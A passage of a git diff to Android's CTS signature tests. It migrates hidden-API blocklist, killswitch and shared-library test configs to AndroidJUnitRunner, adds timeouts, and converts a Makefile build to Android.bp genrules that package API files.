         ":CtsHiddenApiBlocklistApiDynamicConfig",
     ],
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidManifest.xml
index 35047d5..8b924c2 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidManifest.xml
@@ -24,7 +24,7 @@
     <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
     <instrumentation
-        android:name="repackaged.android.test.InstrumentationTestRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.signature.cts.api.hiddenapi_blocklist_current"
         android:label="Hidden API Blocklist Test for current SDK"/>
 </manifest>
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
index 0baa791..8e7564c 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
@@ -31,7 +31,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.hiddenapi_blocklist_current" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.current.HiddenApiTest" />
         <option name="instrumentation-arg" key="dynamic-config-name" value="CtsHiddenApiBlocklistApiDynamicConfig" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
@@ -41,5 +41,7 @@
         <option name="runtime-hint" value="30s" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/OWNERS b/tests/signature/api-check/hidden-api-blocklist-current-api/OWNERS
deleted file mode 100644
index 39dbe17..0000000
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/OWNERS
+++ /dev/null
@@ -1,7 +0,0 @@
-# Bug component: 610774
-platform-compat-eng+reviews@google.com
-andreionea@google.com
-atrost@google.com
-mathewi@google.com
-ngeoffray@google.com
-satayev@google.com
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/src/android/signature/cts/api/current/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-current-api/src/android/signature/cts/api/current/HiddenApiTest.java
index 7726489..34f33fe 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/src/android/signature/cts/api/current/HiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/src/android/signature/cts/api/current/HiddenApiTest.java
@@ -16,7 +16,5 @@
 
 package android.signature.cts.api.current;
 
-import android.signature.cts.api.dynamic.DynamicConfigHiddenApiTest;
-
-public class HiddenApiTest extends DynamicConfigHiddenApiTest {
+public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp b/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
index 38e68c9..ab4040a 100644
--- a/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
@@ -27,4 +27,11 @@
         "cts",
         "general-tests",
     ],
+
+    // Ensure that the default CtsHiddenApiBlocklistApiDynamicConfig provided for
+    // this test does not collide with the copy provided for other tests.
+    per_testcase_directory: true,
+    data: [
+        ":CtsHiddenApiBlocklistApiDynamicConfig",
+    ],
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidManifest.xml
index 21b1756..3a9c2ad 100644
--- a/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidManifest.xml
@@ -24,7 +24,7 @@
     <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
     <instrumentation
-        android:name="repackaged.android.test.InstrumentationTestRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.signature.cts.api.hiddenapi_blocklist_debug_class"
         android:label="Hidden API Blocklist Test with Debug Class Exempt"/>
 </manifest>
diff --git a/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
index cd0311c..7454676 100644
--- a/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
@@ -31,7 +31,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.hiddenapi_blocklist_debug_class" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.blocklist.debug.DebugClassHiddenApiTest" />
         <option name="instrumentation-arg" key="dynamic-config-name" value="CtsHiddenApiBlocklistApiDynamicConfig" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
@@ -41,5 +41,7 @@
         <option name="runtime-hint" value="30s" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-debug-class/src/android/signature/cts/api/blocklist/debug/DebugClassHiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-debug-class/src/android/signature/cts/api/blocklist/debug/DebugClassHiddenApiTest.java
index 9266976..c8dcfca 100644
--- a/tests/signature/api-check/hidden-api-blocklist-debug-class/src/android/signature/cts/api/blocklist/debug/DebugClassHiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-debug-class/src/android/signature/cts/api/blocklist/debug/DebugClassHiddenApiTest.java
@@ -17,11 +17,12 @@
 package android.signature.cts.api.blocklist.debug;
 
 import android.signature.cts.DexMemberChecker;
-import android.signature.cts.api.dynamic.DynamicConfigHiddenApiTest;
 
-public class DebugClassHiddenApiTest extends DynamicConfigHiddenApiTest {
+import static org.junit.Assert.assertFalse;
+
+public class DebugClassHiddenApiTest extends android.signature.cts.api.HiddenApiTest {
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         // Try to exempt DexMemberChecker class from hidden API checks.
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
index 82c2e90..ade111b 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
@@ -26,12 +26,11 @@
         "cts",
         "general-tests",
     ],
-    // Ideally the following should be uncommented but unfortunately due to
-    // limitations in the build that causes build failures due to duplicate copy
-    // rules being generated. In the meantime it is necessary to build
-    // CtsHiddenApiBlocklistCurrentApiTestCases before running this test to
-    // pick up any changes to CtsHiddenApiBlocklistApiDynamicConfig.dynamic.
-    // data: [
-    //     ":CtsHiddenApiBlocklistApiDynamicConfig",
-    // ],
+
+    // Ensure that the default CtsHiddenApiBlocklistApiDynamicConfig provided for
+    // this test does not collide with the copy provided for other tests.
+    per_testcase_directory: true,
+    data: [
+        ":CtsHiddenApiBlocklistApiDynamicConfig",
+    ],
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidManifest.xml
index 1696c0a..ece45de 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidManifest.xml
@@ -23,7 +23,7 @@
 
     <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.hiddenapi_blocklist_test"
                      android:label="Hidden API Blocklist Test for test SDK"/>
 
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
index 912334f..90fc97d 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
@@ -32,7 +32,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.hiddenapi_blocklist_test" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.test.HiddenApiTest" />
         <option name="instrumentation-arg" key="dynamic-config-name" value="CtsHiddenApiBlocklistApiDynamicConfig" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
@@ -40,5 +40,7 @@
         <option name="runtime-hint" value="30s" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/OWNERS b/tests/signature/api-check/hidden-api-blocklist-test-api/OWNERS
deleted file mode 100644
index 66ea541..0000000
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/OWNERS
+++ /dev/null
@@ -1,9 +0,0 @@
-# Bug component: 610774
-
-# Use this reviewer by default.
-platform-compat-eng+reviews@google.com
-
-andreionea@google.com
-mathewi@google.com
-ngeoffray@google.com
-satayev@google.com
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
index 3fe708c..b30bbcb 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
@@ -17,10 +17,9 @@
 package android.signature.cts.api.test;
 
 import android.signature.cts.DexMember;
-import android.signature.cts.api.dynamic.DynamicConfigHiddenApiTest;
 import java.util.Set;
 
-public class HiddenApiTest extends DynamicConfigHiddenApiTest {
+public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
 
     /**
      * Override to match only those members that specify both test-api and blocked.
@@ -30,5 +29,4 @@
         Set<String> flags = member.getHiddenapiFlags();
         return flags.contains("test-api") && flags.contains("blocked");
     }
-
 }
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
index b502561..45925a2 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
@@ -23,7 +23,7 @@
                  android:extractNativeLibs="true"
                  android:largeHeap="true"/>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.killswitch_debug_class"
                      android:label="Hidden API Debuggable Class Killswitch Test"/>
 </manifest>
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
index 2ff7706..7743fe4 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
@@ -26,9 +26,10 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.killswitch_debug_class" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.DebugClassKillswitchTest" />
         <option name="runtime-hint" value="60s" />
+        <option name="shell-timeout" value="20m" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp b/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
index 84a1370..333a3aa 100644
--- a/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
+++ b/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
@@ -28,7 +28,7 @@
     // Ideally the following should be uncommented but unfortunately due to
     // limitations in the build that causes build failures due to duplicate copy
     // rules being generated. In the meantime it is necessary to build
-    // CtsHiddenApiBlocklistCurrentApiTestCases before running this test to
+    // CtsHiddenApiBlacklistCurrentApiTestCases before running this test to
     // pick up any changes to CtsHiddenApiBlocklistApiDynamicConfig.dynamic.
     // data: [
     //     ":CtsHiddenApiBlocklistApiDynamicConfig",
diff --git a/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidManifest.xml
index ea1eb84..b92d3538 100644
--- a/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidManifest.xml
@@ -23,7 +23,7 @@
                  android:extractNativeLibs="true"
                  android:largeHeap="true"/>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.killswitch_sdklist"
                      android:label="Hidden API Killswitch SDK list Test"/>
 </manifest>
diff --git a/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidTest.xml
index 721d099..19882ff 100644
--- a/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidTest.xml
@@ -32,9 +32,10 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.killswitch_sdklist" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.SdkListKillswitchTest" />
         <option name="runtime-hint" value="60s" />
+        <option name="shell-timeout" value="20m" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
index 3747831..18debe6 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
@@ -23,7 +23,7 @@
                  android:extractNativeLibs="true"
                  android:largeHeap="true"/>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.killswitch_wildcard"
                      android:label="Hidden API Wildcard Killswitch Test"/>
 </manifest>
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
index 4d25fb3..b84c05f 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
@@ -32,9 +32,10 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.killswitch_wildcard" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.WildcardKillswitchTest" />
         <option name="runtime-hint" value="60s" />
+        <option name="shell-timeout" value="20m" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/signature/api-check/shared-libs-api/Android.bp b/tests/signature/api-check/shared-libs-api/Android.bp
new file mode 100644
index 0000000..607df48
--- /dev/null
+++ b/tests/signature/api-check/shared-libs-api/Android.bp
@@ -0,0 +1,157 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+    name: "cts-api-signature-multilib-test",
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+    static_libs: [
+        "cts-api-signature-test",
+        "compatibility-device-util-axt",
+        "junit-params",
+    ],
+}
+
+android_test {
+    name: "CtsSharedLibsApiSignatureTestCases",
+    defaults: ["cts_defaults"],
+
+    // Ensure that any android.test and junit classes embedded within this test do not conflict with
+    // the classes provided by the android.test.base or android.test.runner shared libraries.
+    jarjar_rules: ":cts-android-test-jarjar-rules",
+
+    java_resources: [
+        ":cts-current-api-gz",
+        ":cts-shared-libs-names.txt",
+        ":CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all-current.api",
+        ":CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all-previous.api",
+    ],
+    static_libs: [
+        "cts-api-signature-multilib-test",
+        "cts-api-signature-test",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    jni_libs: ["libclassdescriptors"],
+    compile_multilib: "both",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    use_embedded_native_libs: false,
+    srcs: ["src/**/*.java"],
+}
+
+genrule {
+    name: "cts-shared-libs-names.txt",
+    srcs: [
+        "AndroidManifest.xml",
+    ],
+    out: [
+        "shared-libs-names.txt",
+    ],
+    cmd: "grep 'uses-library' $(in) | cut -f2 -d\\\" | sort > $(out)",
+}
+
+// Generates a zip file containing the current public and system API files for shared libraries.
+genrule {
+    name: "CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all-current.api",
+    srcs: [
+        ":android.net.ipsec.ike{.public.api.txt}",
+        ":android.net.ipsec.ike{.system.api.txt}",
+        ":android.test.base{.public.api.txt}",
+        ":android.test.base{.system.api.txt}",
+        ":android.test.runner{.public.api.txt}",
+        ":android.test.runner{.system.api.txt}",
+        ":android.test.mock{.public.api.txt}",
+        ":android.test.mock{.system.api.txt}",
+        ":com.android.future.usb.accessory{.public.api.txt}",
+        ":com.android.future.usb.accessory{.system.api.txt}",
+        ":com.android.libraries.tv.tvsystem{.public.api.txt}",
+        ":com.android.libraries.tv.tvsystem{.system.api.txt}",
+        ":com.android.location.provider{.public.api.txt}",
+        ":com.android.location.provider{.system.api.txt}",
+        ":com.android.mediadrm.signer{.public.api.txt}",
+        ":com.android.mediadrm.signer{.system.api.txt}",
+        ":com.android.media.remotedisplay{.public.api.txt}",
+        ":com.android.media.remotedisplay{.system.api.txt}",
+        ":com.android.media.tv.remoteprovider{.public.api.txt}",
+        ":com.android.media.tv.remoteprovider{.system.api.txt}",
+        ":com.android.nfc_extras{.public.api.txt}",
+        ":com.android.nfc_extras{.system.api.txt}",
+        ":javax.obex{.public.api.txt}",
+        ":javax.obex{.system.api.txt}",
+        ":org.apache.http.legacy{.public.api.txt}",
+        ":org.apache.http.legacy{.system.api.txt}",
+    ],
+    tools: [
+        "soong_zip",
+        "metalava",
+    ],
+    out: [
+        "shared-libs-all-current.api.zip",
+    ],
+    cmd: "mkdir -p $(genDir)/list && " +
+        "for f in $(in); do " +
+        // Extract the module name from the path.
+        "  fileName=$$(basename $${f} .txt) && " +
+        "  fileName=$${fileName%%.stubs.source*} && " +
+        // Extract the api level, i.e. public|system from the path.
+        "  apiLevel=$${f##*.stubs.source} && " +
+        "  apiLevel=$${apiLevel#.} && " +
+        "  apiLevel=$${apiLevel%_api.txt} && " +
+        "  if [ -z $${apiLevel} ]; then apiLevel=public; fi && " +
+        // Convert the .txt file into its XML representation.
+        "  $(location metalava) -J--add-opens=java.base/java.util=ALL-UNNAMED --no-banner " +
+        "    -convert2xmlnostrip $${f} $(genDir)/list/$${fileName}-current-$${apiLevel}.api; " +
+        "done && " +
+        "$(location soong_zip) -o $(out) -C $(genDir)/list -D $(genDir)/list",
+}
+
+// Generates a zip file containing all the API files from previous releases >= 28 excluding the
+// android.txt and removed files.
+genrule {
+    name: "CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all-previous.api",
+    srcs: [
+        ":prebuilt_sdk_system_public_api_txt",
+    ],
+    tools: [
+        "soong_zip",
+        "metalava",
+    ],
+    out: [
+        "shared-libs-all-previous.api.zip",
+    ],
+    cmd: "for f in $(in); do " +
+        "  fileName=$$(basename $${f} .txt) && " +
+        "  if [ $${fileName} == android ] || [[ $${fileName} =~ removed ]] || [[ $${fileName} =~ incompatibilities ]]; " +
+        "    then continue; fi && " +
+        "  platformSdkVersion=$$(echo $${f} | awk -F/ '{print $$(3)}') && " +
+        "  if [ $${platformSdkVersion} -lt 28 ]; then continue; fi && " +
+        "  apiLevel=$$(echo $${f} | awk -F/ '{print $$(4)}') && " +
+        "  $(location metalava) -J--add-opens=java.base/java.util=ALL-UNNAMED --no-banner " +
+        "    -convert2xmlnostrip $${f} $(genDir)/list/$${fileName}-$${platformSdkVersion}-$${apiLevel}.api; " +
+        "done && " +
+        "$(location soong_zip) -o $(out) -C $(genDir)/list -D $(genDir)/list",
+}
diff --git a/tests/signature/api-check/shared-libs-api/Android.mk b/tests/signature/api-check/shared-libs-api/Android.mk
deleted file mode 100644
index 13dc265..0000000
--- a/tests/signature/api-check/shared-libs-api/Android.mk
+++ /dev/null
@@ -1,81 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-all_shared_libs_modules :=
-
-$(foreach ver,$(call int_range_list,28,$(PLATFORM_SDK_VERSION)),\
-  $(foreach api_level,public system,\
-    $(foreach lib,$(filter-out android,$(filter-out %removed,$(filter-out %incompatibilities,\
-      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt)))))),\
-        $(eval all_shared_libs_modules += $(lib)-$(ver)-$(api_level).api))))
-
-all_shared_libs_files := $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_shared_libs_modules))
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-shared-libs-all.api
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_STEM := shared-libs-all.api.zip
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-include $(BUILD_SYSTEM)/base_rules.mk
-$(LOCAL_BUILT_MODULE): $(SOONG_ZIP)
-$(LOCAL_BUILT_MODULE): PRIVATE_SHARED_LIBS_FILES := $(all_shared_libs_files)
-$(LOCAL_BUILT_MODULE): $(all_shared_libs_files)
-	@echo "Zip API files $^ -> $@"
-	@mkdir -p $(dir $@)
-	$(hide) rm -f $@
-	$(hide) $(SOONG_ZIP) -o $@ -P out -C $(OUT_DIR) $(addprefix -f ,$(PRIVATE_SHARED_LIBS_FILES))
-
-all_shared_libs_zip_file := $(LOCAL_BUILT_MODULE)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := cts-api-signature-multilib-test
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-        cts-api-signature-test \
-        compatibility-device-util-axt
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSharedLibsApiSignatureTestCases
-
-LOCAL_JAVA_RESOURCE_FILES := $(all_shared_libs_zip_file)
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-multilib-test
-
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-include $(LOCAL_PATH)/../build_signature_apk.mk
-
-LOCAL_JAVA_SDK_LIBRARIES :=
-all_shared_libs_files :=
-all_shared_libs_modules :=
-all_shared_libs_zip_file :=
diff --git a/tests/signature/api-check/shared-libs-api/AndroidManifest.xml b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
index d0ac28f7..0609ed5 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
@@ -37,7 +37,7 @@
         <uses-library android:name="org.apache.http.legacy" android:required="false"/>
     </application>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.shared_libs"
                      android:label="Shared Libraries API Signature Muti Libs Test"/>
 
diff --git a/tests/signature/api-check/shared-libs-api/AndroidTest.xml b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
index 5eb4883..9bd8233 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidTest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
@@ -26,9 +26,11 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.shared_libs" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.SignatureMultiLibsTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all.api.zip" />
+        <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
+        <option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all-current.api.zip" />
+        <option name="instrumentation-arg" key="previous-api-files" value="shared-libs-all-previous.api.zip" />
         <option name="runtime-hint" value="30s" />
         <!-- Disable hidden API checks (http://b/171459260). -->
         <option name="hidden-api-checks" value="false" />
diff --git a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
index d9d1cb6..2d0f719 100644
--- a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
+++ b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
@@ -16,39 +16,187 @@
 
 package android.signature.cts.api;
 
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.SharedLibraryInfo;
 import android.signature.cts.ApiComplianceChecker;
 import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.JDiffClassDescription;
 import android.signature.cts.VirtualPath;
-import android.signature.cts.VirtualPath.LocalFilePath;
+import android.util.Log;
+import androidx.test.platform.app.InstrumentationRegistry;
+import com.google.common.base.Suppliers;
+import java.io.BufferedReader;
 import java.io.IOException;
-import java.util.Arrays;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.List;
+import java.util.Set;
+import java.util.TreeSet;
+import java.util.function.Supplier;
+import java.util.stream.Collectors;
 import java.util.stream.Stream;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+import junitparams.naming.TestCaseName;
+import org.junit.Assume;
+import org.junit.FixMethodOrder;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.MethodSorters;
 
 /**
- * Performs the signature multi-libs check via a JUnit test.
+ * Verifies that any shared library provided by this device and for which this test has a
+ * corresponding API specific file provides the expected API.
+ *
+ * <pre>This test relies on the AndroidManifest.xml file for the APK in which this is run having a
+ * {@code <uses-library>} entry for every shared library that provides an API that is contained
+ * within the shared-libs-all.api.zip supplied to this test.
  */
-public class SignatureMultiLibsTest extends SignatureTest {
+@RunWith(JUnitParamsRunner.class)
+@FixMethodOrder(MethodSorters.NAME_ASCENDING)
+public class SignatureMultiLibsTest extends AbstractSignatureTest {
+
+    protected static final Supplier<String[]> EXPECTED_API_FILES =
